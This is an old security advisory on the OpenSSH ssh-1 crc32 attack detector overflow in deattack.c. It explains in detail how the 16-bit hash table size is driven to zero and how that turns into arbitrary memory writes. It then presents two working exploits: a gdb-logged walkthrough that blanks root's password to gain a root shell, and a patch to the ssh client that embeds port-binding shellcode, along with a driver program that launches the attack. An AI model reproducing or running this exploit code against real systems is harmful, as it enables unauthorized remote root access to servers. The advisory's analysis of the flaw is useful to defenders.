COMMAND

    ssh

SYSTEMS AFFECTED

    SSH

PROBLEM

    Paul  Starzetz  posted  following.   This  advisory  discusses the
    recently discovered security hole in the crc32 attack detector  as
    found in common ssh packages like OpenSSH and derivates using  the
    ssh-1 protocoll.  There is a possible overflow during  assignemnet
    from 32bit  integer to  16bit wide  one leading  to unmasked  hash
    table offsets.  For original advisory, see:

        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/ssh30.html

    In this article Paul will try to show how:
    a) exploit  the  crc32  hole  to  gain  remote access to  accounts
       without  providing  any  password,  assuming remote sshd allows
       empty passwords
    b) change login-uid if valid account on the remote machine exists.

    We  are  aware  about  the  wide  consequences  arising  form this
    disclosure  and  possibly  some  people  will hate us because Paul
    wrote this,  but after  you have  read this  article, you will see
    that the exploitation is really  hard and tricky but on  the other
    hand interessting.  We think that the impact of the crc32 hole  is
    greater than the recent bind bug.  Authors are not responsible for
    any damage resulting from this code, if you use this on your own.

    The exploit  code is  a set  of patches  to openssh-2.1.1,  but of
    course one may want to put the needed routines into one code file.

    Lets look at the vulnerable code  in deattack.c.   We will  derive
    few  conclusions  about  exploitation  of  the deattack code here.
    Original deattack.c  code taken  from OpenSSH-2.1.1,  interessting
    locations are marked with [n]:

        int
        detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
        {
	        static u_int16_t *h = (u_int16_t *) NULL;
	        static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
	        register u_int32_t i, j;
	        u_int32_t l;
	        register unsigned char *c;
	        unsigned char *d;

	        if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
	            len % SSH_BLOCKSIZE != 0) {
		        fatal("detect_attack: bad length %d", len);
	        }

        [1]
	        for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
		        ;

	        if (h == NULL) {
		        debug("Installing crc compensation attack detector.");
        [2]		n = l;
		        h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
	        } else {
		        if (l > n) {
			        n = l;
			        h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
		        }
	        }

	        if (len <= HASH_MINBLOCKS) {
		        for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {
			        if (IV && (!CMP(c, IV))) {
				        if ((check_crc(c, buf, len, IV)))
					        return (DEATTACK_DETECTED);
				        else
					        break;
			        }
			        for (d = buf; d < c; d += SSH_BLOCKSIZE) {
				        if (!CMP(c, d)) {
					        if ((check_crc(c, buf, len, IV)))
						        return (DEATTACK_DETECTED);
					        else
						        break;
				        }
			        }
		        }
		        return (DEATTACK_OK);
	        }
	        memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);

	        if (IV)
		        h[HASH(IV) & (n - 1)] = HASH_IV;

	        for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
        [3]		for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
		             i = (i + 1) & (n - 1)) {
			        if (h[i] == HASH_IV) {
				        if (!CMP(c, IV)) {
					        if (check_crc(c, buf, len, IV))
						        return (DEATTACK_DETECTED);
					        else
						        break;
				        }
        [4]			} else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
				        if (check_crc(c, buf, len, IV))
					        return (DEATTACK_DETECTED);
				        else
					        break;
			        }
		        }
        [5]		h[i] = j;
	        }
	        return (DEATTACK_OK);
        }

    [2] as wee see here, a  32bit int value is assigned to  16bit wide
    only one.  Bad things happen, if n is assigned a (truncated) value
    0, because the value of  n-1, where nwould expand to  32bit before
    the calculation  is made  is used  as bit  mask for following hash
    table operation [3].  Because l is computed to be a power of 4  in
    [1], we do not need to  know the exact value for the  len argument
    of detect_attack.  We will end  with n beeing exactly 0 if  len is
    big  enough.  The  overflow  happens  at  exactly  LEN  = (16384 /
    HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.

    So now we know how to set  n to 0. Simply send a ssh1  packet with
    size exceeding  LEN. But  are we  able to  send such long packets?
    The answer is  yes, after looking  at the code  of packet handling
    code in packet.c  we see that  the maximum accepted  packet len is
    256 kbytes.

    But what  we can  do with  this? The  answer is  simple: after the
    value of n has been set to  0, we can access all sshd's memory  by
    providing out_of_range  hash indexes  which are  taken as (network
    order)  values  from  the  packet  buffer  itself (due to the HASH
    function  beeing  simple  GET_32BIT),  whose  have to be 'unsigned
    short' index  values.   The detect_attack  code will  scan 8 bytes
    long blocks checking them for crc32 attack using only the first  4
    bytes of each block as hash table index.  So we can set the  other
    half of the  buf blocks to  arbitrary values without  consequences
    to what we are indexing.

    So having n=0 we can change  really any value in the memory!   For
    example to write to the variable  X having the value V we  need to
    supply the Vth buf block with  an offset to X in server's  memory,
    offset because  it would  be calculated  relative to  the value of
    'h', which  has been  allocated by  a call  to xm(re)alloc().  The
    value of h has indeed to be guessed, though (or in other words  we
    need to guess the offset to h).

    But this would only write V to to X because 'j' which is the value
    we write in [5] counts blocks in buf. As you see from [3] and  [4]
    there is a condition  for writing to memory.   The block number  V
    has to be  identical with the  block obtained by  buf + h[i]  * 8,
    which means  that we  need 2  blocks: first  a 'self  termination'
    block with  the number  V and  another block  with the  number 'k'
    where k is the new  value we want to write  to X.  Note that  with
    this technique we can only increase the value of X !

    There  are  2  other  conditions:  the UNUSED_HASH and the HASH_IV
    condition, though, we do not discuss them here.

    Lets analyse the condition we need to enter detect_attack code  at
    all.  From packet.c it can  bee seen that we need the  session key
    to be set, so the first posibility to enter detect_attack is after
    the ssh_kex code  in auth1.c.   This makes the  exploitation a bit
    tricky, because we need to send encrypted packets.

    So one  may ask,  how to  send an  encrypted packet containing the
    needed offsets if we must always encrypt our data before  sending?
    We  can  deal  with  it  easilly  maintaning a copy of the receive
    context as sshd sees it.   After the seesion key has been  set (it
    is the same  for sending and  receiving) we need  to _decrypt_ all
    packets we send to  sshd. With this trick  we are able to  produce
    the plaintext needed for construction of desired encrypted packet.

    Let us look at the format  of ssh-1 packets.  They are  always 8*n
    (packets containing other data  amount are padded) bytes  long and
    contains an (encrypted!) checksum at the end of packet:

        (LEN)[001][002][003][004]...[XXX]

    where [...] stands for a 8-byte  long block and (LEN) is a  32 bit
    value carrying the length information (network order!).  The  last
    [XXX] block would be like

        [PPPPCCCC]

    with P standing for padding or data and C for the crc32  checksum.
    The checksum is calculated  over all packet bytes  _excluding_ the
    checksum location  but including  the last  32 bits  of the packet
    (padding or data) and then stored  at the end of packet and  after
    that the  resulting packet  is encrypted  with the  current cipher
    context (usually send_context in packet.c).

    There are  2 another  difficulties too,  one can  point out.   The
    first is  that after  we have  sent a  big packet  setting 'n'  in
    detect_attack to 0, n will be still 0 in succeding calls and  this
    will result in an endles loop in [1].  Therefore our packet _must_
    overwrite the static variable n in detect_attack subroutine!

    Because  we  have  xrealloc'ed  the  buffer  h  with  the new size
    n*HASH_ENTRYSIZE which would expand to  0, the buffer h cannot  be
    assumed to point to  any valid memory... So  the only way to  deal
    with this is to send  only _small_ packets matching the  condition
    len  <  HASH_MINBLOCKS.   For  example  we  have  to  disable  tty
    allocation (-T option) in the following exploit code.  Never enter
    more than about 36 bytes on the prompt.

    The second real hard problem is the value of PPPP.   Detect_attack
    will scan the  buf for crc32  compensation attack _including_  the
    last block  with crc  and pad.  But we  cannot really controll the
    encrypted value  of P  because the  ciphers work  always on 8 byte
    long blocks mixing the 2 32bit values with each other (Paul didn't
    found any simple way to deal with this).  So the question is:  how
    the PPPP  bytes have  to be  in order  to obtain defined encrypted
    value at the P's position  _after_ we calculated the cheksum?   We
    doubt that this problem  is solvable at all.   However, we use  at
    this point  the UNUSED_HASH  termination condition.   After n  has
    been set again by our big packet to a value != 0 we need to  match
    the condition h[PPPP  & n-1] ==  0xffff.  See  below to understand
    how Paul is doing this.

    So now  we know  all about  the detect_attack  code and the packet
    format, lets think  about really exploiting  this.  After  we have
    looked  at  the  authorisation  code  auth1.c   we found 3 ways of
    possible exploitation in the do_authloop function:

    a) there is a local variable 'int authenticated = 0' which set  to
       value  !=  0  would  authorise  the  session and start a remote
       shell immediatelly.
    b) overwriting the pw->pw_passwd value which should be 'x'\000  on
       systems with shadow passwords with something like \000'x' would
       produce  a  remote  shell  too  if  sshd  has  'emptypasswords'
       enabled.
    c) overwriting pw->pw_uid with some value would change the uid the
       remote shell is running after successfull athentication.

    You will very fast figure out, why (a) is not easy exploitable (if
    at all...).

    It is  time to  describe an  exploitation way  for (b), which Paul
    decided  to  choose  for  this  article.   Exploiting (c) would be
    similiar but not really interesting because we can only  increment
    the uid value.

    Lets summarize, how  our (very very...)  magic and big  packet has
    to look like:
    - we put as first cipher block an offset pointing to the  location
      of n in detect_attack(), so first write h[i]=j will set n=0
    - we  make  the  0x78th  block  to  point  to  the  location    of
      pw->pw_passwd (which  point to  somewhat like  0x78 0x00  ... at
      this time),  this is  our termination  block for  pw->pw_passwd.
      h[i]=j wouldn't change the value pw->pw_passwd is pointing to
    - we make  the 0x100th block  to point to  pw->pw_passwd again, so
      that h[i]=j would  change the value  *(pw->pw_passwd) to be  now
      0x00 0x01 (which is an empty string, say no password)
    - the 512th cipher block has to change n in detect_attack() to  be
      512 so no deadlock occurs in succeding calls to detect_attack().
    - other cipher block offsets have to be 0x00000000.
    - and finally we choose the last free (padding) value PPPP of  the
      packet to match  following condition: network_order(PPPP)  & 511
      == 0  (brute force  that, PPPP  would be  found very fast...) so
      that we still have an  _effective_ offset 0x00000000.  After  we
      played  a  bit  with  this,  Paul  found  that  it is not really
      necessary to bother about PPPP...

    There are  few other  modifications to  the ssh  code, though.  We
    mention only that before we  send our magic big packet  there will
    be a  '0xffff-setting' packet,  only to  set up  the h buffer with
    0xffff values.

    Another modification we  made is sending  empty password after  we
    have sent the long packet  in sshconnect1.c.  You will  find other
    minor changes on yourself...

    Attached are diff files for the openssh-2.1.1 package.  The  patch
    uses 2 environment  variables called 'OFF'  and 'NOFF', where  OFF
    has  to  be  the  offset  to  the  variable  we  want to overwrite
    (pw->pw_passwd), NOFF the  offset to stattic  variable 'n' in  the
    detect_attack code.

    To  finish  this   discussion  lets  look   at  some   successfull
    exploitation of sshd.  We have  run sshd in gdb in debugging  mode
    to simplify  this show,  but you  can try  the code  with your own
    'real' sshd of course, using apriopriate offsets...

    On the client side:

        ./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l root

    where  -T  prevents  from  sending  ALLOC_PTY  packet, which would
    exceed the 56 bytes limit, on the server side:

        (gdb) run
        The program being debugged has been started already.
        Start it from the beginning? (y or n) y
        Starting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777 -d
        -f ./sshd_config -b 512 2>&1
        debug: sshd version OpenSSH_2.1.1
        debug: Seeding random number generator
        debug: read DSA private key done
        debug: Seeding random number generator
        debug: Bind to port 7777 on 0.0.0.0.
        Server listening on 0.0.0.0 port 7777.
        Generating 512 bit RSA key.
        debug: Seeding random number generator
        debug: Seeding random number generator
        RSA key generation complete.
        debug: Server will not fork when running in debugging mode.
        Connection from 127.0.0.1 port 3743
        debug: Client protocol version 1.5; client software version
        OpenSSH_2.1.1
                debug: Local version string SSH-1.99-OpenSSH_2.1.1
        debug: Sent 512 bit public key and 1024 bit host key.
        debug: Encryption type: blowfish
        debug: stored copy of send context
        debug: Received session key; encryption turned on.

        Breakpoint 1, detect_attack (
            buf=0x80f9d14
        "V=C9zZ=ED\236\005\035b=ACI\205:I@N4c;\r\227=B3W\204=CB=D4\022=C6=B5lT\aO=
        \025=A1=AE=CB6\227+w\177=FAN\032@\017=B0$=B7K=EB\230=F3Cb=C4\225,_~(\b=EE=
        =D0=A9l6136
        if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
        (gdb) c
        Continuing.
        debug: Installing crc compensation attack detector.
        debug: Attempting authentication for root.

        (here I have added some debugging code to detect_attack in order to
        easilly gain offsets :-)

        debug: PASSWORD ADR = 0xbffff08c :  80f8890  80f9c88        0
        debug: passwd = [x]
        debug: name = [root]

        Breakpoint 1, detect_attack (
            buf=0x80f9d14
        "q9\216\203=C8ac]uuE\235A\013nQ\022=B7\003oj8=DCo+[\e=EB\207X=FF=AEr[=F37=
        \233\030=AB=DF%=CF=CD=B7=D9R=F2\207l1\230y=BF(=AD\211=A1\004\207\037
        \027&
            len=528, IV=0x0) at deattack.c:136
        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

        (gdb) x 0x80f9c88
        0x80f9c88:      0x400c0078

        As we see here, 0x400c0078 is the stored 'x'\000 value from /etc/passwd,
        which indicates that root has a shadow password.

        (gdb) p len
        $15 = 528

        the packet received is the '0xffff' packet which would prepare the
        memory region h with UNUSED_HASH values, ok lets continue:

        (gdb) c
        Continuing.
        Unknown message during authentication: type 248
        debug: Unknown message during authentication: type 248
        Failed bad-auth-msg-248 for ROOT from 127.0.0.1 port 3743

    Ok, sshd ignored  the 0xffff packet,  the client side  is guessing
    now the value of PPPP.  Lets see what happens as next:

        Breakpoint 1, detect_attack (buf=0x8100144 "\177=FEa0=FF=FF=FF=FF", len=88072,
        IV=0x0) at deattack.c:136
        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
        (gdb) p len
        $16 = 88072
        (gdb) p n
        $17 = 4096

        Got big packet! Lets step into the detect_atack code:

        (gdb) n
        140             for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l ==
         l
        << 2)
        .
        .
        .
        (gdb) p n
        $18 = 0

    So now  we have  set n=0  and n-1  = 0xffffffff  and can overwrite
    memory.   After  few  loops   we  check  again  the  location   of
    pw->pw_passwd:

        (gdb) x 0x80f9c88
        0x80f9c88:      0x400c0100

    Oooops, root seems to have no  password now!  Lets run the  loop a
    bit longer:

        (gdb) p n
        $25 = 512
        (gdb) p j
        $26 = 785

    We see that at this point we  have set n back to be 0x200  and can
    enter detect_attack  again. Lets  check now  the termination value
    for the last iteration in  [3], which has to be  UNUSED_HASH (note
    the network order offsets):

        (gdb) x/16 buf + len - 8
        0x8115944:      0xf5966c0d      0xb7ef464b      0x09000000
        0xeed64f1a
        0x8115954:      0x2c1b8d66      0x891bb13a      0x527c53d0
        0x00000000

        (gdb) x/16 &h[0x0d6c96f5 & 511]
        0x80fdf1a:      0xffffffff      0xffffffff      0xffffffff
        0xffffffff
        0x80fdf2a:      0xffffffff      0xffffffff      0xffffffff
        0xffffffff

    Ok, it looks fine,  lets continue the loop  till the end and  hope
    that sshd wouldn't die after overwriting 0x80fdf1a with the  value
    of j upon the end of the [3] loop. It will take about 120  seconds
    on a P-100 machine to complete  the loop (yes, Paul wrote this  on
    an old P-100/64mb.

        (gdb) c
        Continuing.
        Unknown message during authentication: type 237
        debug: Unknown message during authentication: type 237
        Failed bad-auth-msg-237 for ROOT from 127.0.0.1 port 3747

        Breakpoint 1, detect_attack (buf=0x8115950
        "\032O=D6=EEf\215\e,:=B1\e\211=D0S|R", len=16, IV=0x0) at deattack.c:136
        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

    Oooops^2, now  we have  fooled sshd  to believe  that root doesn't
    have a  password set,  set n  to be  != 0  and we are still alive.
    SUCCESS!  So it is not difficult to imagine what happens now:

        (gdb) c
        Continuing.
        Accepted password for ROOT from 127.0.0.1 port 3747
        debug: session_new: init
        debug: session_new: session 0

        Breakpoint 1, detect_attack (buf=0x8100144
        "\030=A9=A0=D1'\233=C7*o=E5\021w(=C7\035v", len=16, IV=0x0) at deattack.c:136
        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

    We didn't supply any password  at all.  After continuation  we get
    an interactive session for root:

        (gdb) c
        Continuing.
        Unknown packet type received after authentication: 9

        Breakpoint 1, detect_attack (buf=0x8100158 "=BE=E1BAS=A3=F8y=FF=FF=FF=FF", len=8,
        IV=0x0) at deattack.c:136
        136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
        (gdb) c
        Continuing.
        debug: Entering interactive session.
        debug: fd 9 setting O_NONBLOCK
        debug: fd 11 setting O_NONBLOCK
        debug: server_init_dispatch_13
        debug: server_init_dispatch_15

    On the client side we see this (no pty):

        Permission denied, please try again.
        debug: Requesting shell.
        debug: Entering interactive session.
        Environment:
          USER=root
          LOGNAME=root
          HOME=/root
          PATH=/usr/bin:/bin:/usr/sbin:/sbin
          MAIL=/var/spool/mail/root
          SHELL=/bin/bash
          SSH_CLIENT=127.0.0.1 3747 7777
        id
        uid=0(root) gid=0(root)
        groups=0(root),1(bin),12(mail),14(uucp),15(shadow),16(dialout),42(trust=
        ed),100(users),101(untrusted),65534(nogroup)

    That's all!

    Hugo Dias added  following.  This  is the exploit  for the bug  in
    file  deattack.c  in  the  portable  version of openssh-2.2.0 (and
    possible below).  We need to  know several numbers for it to  work
    so it's very difficult to use the exploit on the wild.
    1. We need to  know is the EXACT  distance of the variable  "h" to
       the  2  last  bytes  of  the  saved  EIP  in  the stack with an
       increment of 2 bytes.
    2. This is the number that we place instead of the two first bytes
       (last two bytes are the first two bytes of the address)
       Example : 0x0806d3de
       We will  replace 0x0806  for the  address we  want, so  we will
       replace 0xde 0xd3 0x06 0x08 for 0xde 0xd3 0x0f 0x08 that is the
       address of the buffer with the shellcode.
    3. Packet Length
    4. REAL  packet length.  The shellcode  will go  in the difference
       between this two lengths,as the sshd server reads 8192(?) bytes
       at time.

    Then we need the host and the port number.

    Finnaly we kneed a small number that doesn't cause SEG FAULT.   It
    doesn't matter how  large is it  as long as  it doesn't cause  any
    segment error.  It can be 0,1,2,3,...

    Example :

        ./xp 30988 0 114200 117280 127.0.0.1 22 3

    This works on  Linux Mandrake 7.2  using "sshd -d"  being debugged
    with GDB, but it's  possible to attach a  SSHD child with GDB  and
    find the numbers  we need for  this to work  with the daemon.   If
    the SSHD child doesn't SEG FAULT in the beggining (we can do  that
    easily by trying a few numbers) it will take more than 10  seconds
    to process the packet and that is sufficient to attach the process
    without changing its code and put a "sleep(15)" in it.

    We need to be root... for  doing this ...  Finding the  numbers we
    need without being root is very difficult.  And without no  access
    to any user in  the system at all  its even more difficult.   This
    addresses  changes  with  the  plataform, operating system, packet
    length...

    BUT its  possible to  do it  (pheraps by  reproducing exactly  the
    victim environment) and thats why Hugo wrote this.

    Diff file to modify an ssh client for using it with the exploit:

    --- packet.c Sat Oct 14 06:23:12 2000
    +++ packet.c Tue Feb 20 09:33:00 2001
    @@ -68,6 +68,85 @@
     #define DBG(x)
     #endif
    
    +
    +/*
    + *  Linux/x86
    + *  TCP/36864 portshell (old, could be optimized further)
    + */
    +
    +char shellcode[] = /* anathema <anathema@hack.co.za> */
    +/* main: */
    +"\xeb\x72"                                /* jmp callz               */
    +/* start: */
    +"\x5e"                                    /* popl %esi               */
    +
    +  /* socket() */
    +"\x29\xc0"                                /* subl %eax, %eax         */
    +"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
    +"\x40"                                    /* incl %eax               */
    +"\x89\xc3"                                /* movl %eax, %ebx         */
    +"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
    +"\x40"                                    /* incl %eax               */
    +"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
    +"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
    +"\xb0\x66"                                /* movb $0x66, %al         */
    +"\xcd\x80"                                /* int $0x80               */
    +
    +  /* bind() */
    +"\x43"                                    /* incl %ebx               */
    +"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
    +"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
    +"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
    +"\x29\xc0"                                /* subl %eax, %eax         */
    +"\x89\xc2"                                /* movl %eax, %edx         */
    +"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
    +"\xb0\x90"                                /* movb $0x90, %al         */
    +"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
    +"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
    +"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
    +"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
    +"\xb0\x66"                                /* movb $0x66, %al         */
    +"\xcd\x80"                                /* int $0x80               */
    +
    +  /* listen() */
    +"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
    +"\x43"                                    /* incl %ebx               */
    +"\x43"                                    /* incl %ebx               */
    +"\xb0\x66"                                /* movb $0x66, %al         */
    +"\xcd\x80"                                /* int $0x80               */
    +
    +  /* accept() */
    +"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
    +"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
    +"\xb0\x66"                                /* movb $0x66, %al         */
    +"\x43"                                    /* incl %ebx               */
    +"\xcd\x80"                                /* int $0x80               */
    +
    +  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
    +"\x86\xc3"                                /* xchgb %al, %bl          */
    +"\xb0\x3f"                                /* movb $0x3f, %al         */
    +"\x29\xc9"                                /* subl %ecx, %ecx         */
    +"\xcd\x80"                                /* int $0x80               */
    +"\xb0\x3f"                                /* movb $0x3f, %al         */
    +"\x41"                                    /* incl %ecx               */
    +"\xcd\x80"                                /* int $0x80               */
    +"\xb0\x3f"                                /* movb $0x3f, %al         */
    +"\x41"                                    /* incl %ecx               */
    +"\xcd\x80"                                /* int $0x80               */
    +
    +  /* execve() */
    +"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
    +"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
    +"\x87\xf3"                                /* xchgl %esi, %ebx        */
    +"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
    +"\xb0\x0b"                                /* movb $0x0b, %al         */
    +"\xcd\x80"                                /* int $0x80               */
    +
    +/* callz: */
    +"\xe8\x89\xff\xff\xff"                    /* call start              */
    +"/bin/sh";
    +
    +
     /*
      * This variable contains the file descriptors used for communicating with
      * the other side.  connection_in is used for reading; connection_out for
    @@ -125,6 +204,9 @@
     /* Session key information for Encryption and MAC */
     Kex *kex = NULL;
    
    +/* Packet Number */
    +int count = 0;
    +
     void
     packet_set_kex(Kex *k)
     {
    @@ -461,6 +543,8 @@
      unsigned int checksum;
      u_int32_t rand = 0;
    
    + count++;
    +
      /*
       * If using packet compression, compress the payload of the outgoing
       * packet.
    @@ -1172,7 +1256,64 @@
     void
     packet_write_poll()
     {
    - int len = buffer_len(&output);
    + int len;
    + char buf[50],*p,*ptr;
    + char code[270000];
    + long sz;
    + FILE *f;
    +
    + if (count == 2)
    + {
    +  f = fopen("/tmp/code","r");
    +  fgets(buf,28,f);
    +  fclose(f);
    +
    +  sz = GET_32BIT(&buf[24]);
    +  buffer_clear(&output);
    +  buffer_append(&output,code,sz);
    +
    +  len = buffer_len(&output);
    +
    +    ptr = buffer_ptr(&output);
    +
    +  for(p = ptr + 4 ; p < ptr + GET_32BIT(&buf[16]) ; p+=8)
    +  {
    +  *p=buf[0];
    +  *(p+1)=buf[1];
    +  *(p+2)=buf[2];
    +  *(p+3)=buf[3];
    +  *(p+4)=buf[4];
    +  *(p+5)=buf[5];
    +  *(p+6)=buf[6];
    +  *(p+7)=buf[7];
    +  }
    +
    +  sz = ((GET_32BIT(&buf[20]) + 8) & ~7);
    +
    +  for(p = p ; p < ptr + sz ; p+=8)
    +  {
    +  *p=buf[8];
    +  *(p+1)=buf[9];
    +  *(p+2)=buf[10];
    +  *(p+3)=buf[11];
    +  *(p+4)=buf[12];
    +  *(p+5)=buf[13];
    +  *(p+6)=buf[14];
    +  *(p+7)=buf[15];
    +  }
    +
    +  sz = len - GET_32BIT(&buf[20]);
    +
    +  memset(p,'\x90',sz);
    +  memcpy(p+sz-strlen(shellcode)-16,&shellcode,strlen(shellcode));
    +  memcpy(ptr,&buf[20],4);
    +
    +  count++;
    + }
    +
    + len = buffer_len(&output);
    +
    +
      if (len > 0) {
       len = write(connection_out, buffer_ptr(&output), len);
       if (len <= 0) {
    @@ -1299,3 +1440,4 @@
      max_packet_size = s;
      return s;
     }
    +
    
    /*
    
    THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.
    
    BlackSphere - Hugo Oliveira Dias
    Tue Feb 20 16:18:00 2001
    
    Email: bsphere@clix.pt
    Homepage: http://planeta.clix.pt/bsphere
    
    Exploit code for using the modified ssh
    
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    /* Path to modified ssh */
    #define PATH_SSH "./ssh"
    
    int main(int argc,char *argv[])
    {
     int f;
     int port;
     unsigned long addr,*ptr;
     char *buffer,*aux,ch,*ssh;
     int i;
    
     if (argc < 8)
     {
      printf("\nUsage : %s <saved eip> <count> <packet length> <username length> <host> \
    <port> <h(i)>\n\n",argv[0]);
    
      fflush(stdout);
      _exit(0);
     }
    
     port=atoi(argv[6]);
    
     buffer = (char *) malloc(29);
    
     ptr = (unsigned long *) buffer;
    
     *(ptr++) = 1543007393 + strtoul(argv[1],0,10);
     *(ptr++) = 0;
     *(ptr++) = strtoul(argv[7],0,10);
     *(ptr++) = 0;
     *(ptr++) = 16520 + strtoul(argv[2],0,10);
     *(ptr++) = strtoul(argv[3],0,10);
     *(ptr++) = strtoul(argv[4],0,10);
    
     buffer[29]=0;
    
     for(i = 0 ; i < 27 ; i+=4)
     {
      aux = buffer + i;
      ch=*aux;
      *aux=*(aux+3);
      *(aux+3)=ch;
      ch=*(aux+1);
      *(aux+1)=*(aux+2);
      *(aux+2)=ch;
     }
    
     printf("\nSaved Eip : &h + %u",1543007393 + strtoul(argv[1],0,10));
     printf("\nReturn Address : 0x%xxxxx",(16520+strtoul(argv[2],0,10))/8);
     printf("\nPacket Length : %u",(strtoul(argv[3],0,10)+8) & ~7);
     printf("\nUsername Length : %u\n\n",strtoul(argv[4],0,10));
     fflush(stdout);
    
    
     f = open("/tmp/code",O_RDWR | O_CREAT,S_IRWXU);
     write(f,buffer,28);
     close(f);
    
     ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));
    
     strcpy(ssh,PATH_SSH);
    
     sprintf(ssh+strlen(PATH_SSH)," -p %i -v -l root %s",port,argv[5]);
    
     printf("%s\n",ssh);
    
     system(ssh);
    
     _exit(0);
    }

SOLUTION

    Now  you  will  probably  understand,  why  the crc32 hole is very
    difficult to exploit.  Also  any brute force approach one  may try
    would consume the network bandwith...  Nevertheless, upgrade  your
    sshd as soon as possible.